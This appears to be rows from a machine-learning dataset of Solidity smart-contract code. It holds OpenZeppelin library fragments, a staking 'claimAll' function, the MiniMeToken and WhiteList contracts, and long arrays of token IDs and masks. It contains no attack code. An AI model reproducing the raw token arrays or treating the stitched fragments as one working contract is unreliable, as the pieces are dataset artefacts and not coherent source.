(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interfaces/IERC20.sol"; import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
SPDX-License-Identifier: MIT
interface IVault { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function poolInfo(uint256 _pid) external view returns (PoolInfo memory); function pendingSushi(uint256 _pid, address _user) external view returns (uint256); function updatePool(uint256 _pid) external; function sushiPerBlock() external view returns (uint256); function totalAllocPoint() external view returns (uint256); function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256); } pragma solidity ^0.8.0; struct Lock { address token; address receiver; uint48 startTime; uint16 vestingDurationInDays; uint16 cliffDurationInDays; uint256 amount; uint256 amountClaimed; uint256 votingPower; } struct LockBalance { uint256 id; uint256 claimableAmount; Lock lock; } struct TokenBalance { uint256 totalAmount; uint256 claimableAmount; uint256 claimedAmount; uint256 votingPower; } }
212,376
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 12003, 288, 203, 377, 203, 565, 445, 443, 1724, 12, 11890, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 13, 3903, 31, 203, 565, 445, 598, 9446, 12, 11890, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 13, 3903, 31, 203, 565, 445, 2845, 966, 12, 11890, 5034, 389, 6610, 13, 3903, 1476, 1135, 261, 2864, 966, 3778, 1769, 203, 565, 445, 4634, 55, 1218, 77, 12, 11890, 5034, 389, 6610, 16, 1758, 389, 1355, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 565, 445, 1089, 2864, 12, 11890, 5034, 389, 6610, 13, 3903, 31, 203, 565, 445, 272, 1218, 77, 2173, 1768, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 565, 445, 2078, 8763, 2148, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 565, 445, 31863, 5742, 12, 11890, 5034, 389, 2080, 16, 2254, 5034, 389, 869, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 97, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 565, 1958, 3488, 288, 203, 3639, 1758, 1147, 31, 203, 3639, 1758, 5971, 31, 203, 3639, 2254, 8875, 8657, 31, 203, 3639, 2254, 2313, 331, 10100, 5326, 382, 9384, 31, 203, 3639, 2254, 2313, 927, 3048, 5326, 382, 9384, 31, 203, 3639, 2254, 5034, 3844, 31, 203, 3639, 2254, 5034, 3844, 9762, 329, 31, 203, 3639, 2254, 5034, 331, 17128, 13788, 31, 203, 565, 289, 203, 203, 565, 1958, 3488, 13937, 288, 203, 3639, 2254, 5034, 612, 31, 203, 3639, 2254, 5034, 7516, 429, 6275, 31, 2 ]
./full_match/1/0x864a1CBB53b9Dea3691a6974B456088C2771DcAd/sources/browser/Bar.sol
Claim all earned BOOGIE and UNI from all pools. Claiming won't work until boogiePoolActive == true
function claimAll() public { require(boogiePoolActive == true, "boogie pool not active"); uint256 totalPendingBoogieAmount = 0; uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { UserInfo storage user = userInfo[pid][msg.sender]; if (user.staked > 0) { updatePool(pid); PoolInfo storage pool = poolInfo[pid]; uint256 accBoogiePerShare = pool.accBoogiePerShare; uint256 pendingPoolBoogieRewards = user.staked.mul(accBoogiePerShare).div(1e12).sub(user.rewardDebt); user.claimed += pendingPoolBoogieRewards; totalPendingBoogieAmount = totalPendingBoogieAmount.add(pendingPoolBoogieRewards); user.rewardDebt = user.staked.mul(accBoogiePerShare).div(1e12); } } require(totalPendingBoogieAmount > 0, "nothing to claim"); if (totalPendingBoogieAmount > 0) _safeBoogieTransfer(msg.sender, totalPendingBoogieAmount); }
4,927,198
[ 1, 9762, 777, 425, 1303, 329, 9784, 13369, 8732, 471, 19462, 628, 777, 16000, 18, 18381, 310, 8462, 1404, 1440, 3180, 800, 717, 1385, 2864, 3896, 422, 638, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 1595, 1435, 1071, 288, 203, 3639, 2583, 12, 1075, 717, 1385, 2864, 3896, 422, 638, 16, 315, 1075, 717, 1385, 2845, 486, 2695, 8863, 203, 203, 3639, 2254, 5034, 2078, 8579, 13809, 717, 1385, 6275, 273, 374, 31, 203, 540, 203, 3639, 2254, 5034, 769, 273, 2845, 966, 18, 2469, 31, 203, 3639, 364, 261, 11890, 5034, 4231, 273, 374, 31, 4231, 411, 769, 31, 965, 6610, 13, 288, 203, 5411, 25003, 2502, 729, 273, 16753, 63, 6610, 6362, 3576, 18, 15330, 15533, 203, 203, 5411, 309, 261, 1355, 18, 334, 9477, 405, 374, 13, 288, 203, 7734, 1089, 2864, 12, 6610, 1769, 203, 203, 7734, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 6610, 15533, 203, 7734, 2254, 5034, 4078, 13809, 717, 1385, 2173, 9535, 273, 2845, 18, 8981, 13809, 717, 1385, 2173, 9535, 31, 203, 203, 7734, 2254, 5034, 4634, 2864, 13809, 717, 1385, 17631, 14727, 273, 729, 18, 334, 9477, 18, 16411, 12, 8981, 13809, 717, 1385, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 1769, 203, 7734, 729, 18, 14784, 329, 1011, 4634, 2864, 13809, 717, 1385, 17631, 14727, 31, 203, 7734, 2078, 8579, 13809, 717, 1385, 6275, 273, 2078, 8579, 13809, 717, 1385, 6275, 18, 1289, 12, 9561, 2864, 13809, 717, 1385, 17631, 14727, 1769, 203, 7734, 729, 18, 266, 2913, 758, 23602, 273, 729, 18, 334, 9477, 18, 16411, 12, 8981, 13809, 717, 1385, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 1769, 203, 5411, 289, 2 ]
//Address: 0x416993d2384d9b82687f34f7fea29f6fb2c6c56d //Contract name: Market //Balance: 0 Ether //Verification Date: 1/24/2018 //Transacion Count: 29 // CODE STARTS HERE pragma solidity ^0.4.18; contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public onlyController { controller = _newController; } } contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) public payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = 'MMT_0.2'; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract WhiteList is Ownable { mapping (address => bool) public whiteListed; address[] public investors; address[] public contracts; // Address early participation whitelist status changed event WhiteListed(address addr, bool status); modifier areWhiteListed(address[] addrs) { for (uint i=0; i<addrs.length; i++) { if (!whiteListed[addrs[i]] || addrs[i] == 0) revert(); } _; } modifier areNotWhiteListed(address[] addrs) { for (uint i=0; i<addrs.length; i++) { if (whiteListed[addrs[i]] || addrs[i] == 0) revert(); } _; } function WhiteList(address[] addrs) public { for (uint i=0; i<addrs.length; i++) { if(isContract(addrs[i])){ contracts.push(addrs[i]); } else { investors.push(addrs[i]); } if (whiteListed[addrs[i]] || addrs[i] == 0) { revert(); } whiteListed[addrs[i]] = true; } } function addAddress(address[] addrs) public onlyOwner areNotWhiteListed(addrs) { for (uint i=0; i<addrs.length; i++) { whiteListed[addrs[i]] = true; if(isContract(addrs[i])){ contracts.push(addrs[i]); } else { investors.push(addrs[i]); } WhiteListed(addrs[i], true); } } function removeAddress(address addr) public onlyOwner { require(whiteListed[addr]); if (isContract(addr)) { for (uint i=0; i<contracts.length - 1; i++) { if (contracts[i] == addr) { contracts[i] = contracts[contracts.length - 1]; break; } } contracts.length -= 1; } else { for (uint j=0; j<investors.length - 1; j++) { if (investors[j] == addr) { investors[j] = investors[investors.length - 1]; break; } } investors.length -= 1; } whiteListed[addr] = false; WhiteListed(addr, false); } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } // web3 function call function getInvestors() public constant returns (address[]) { return 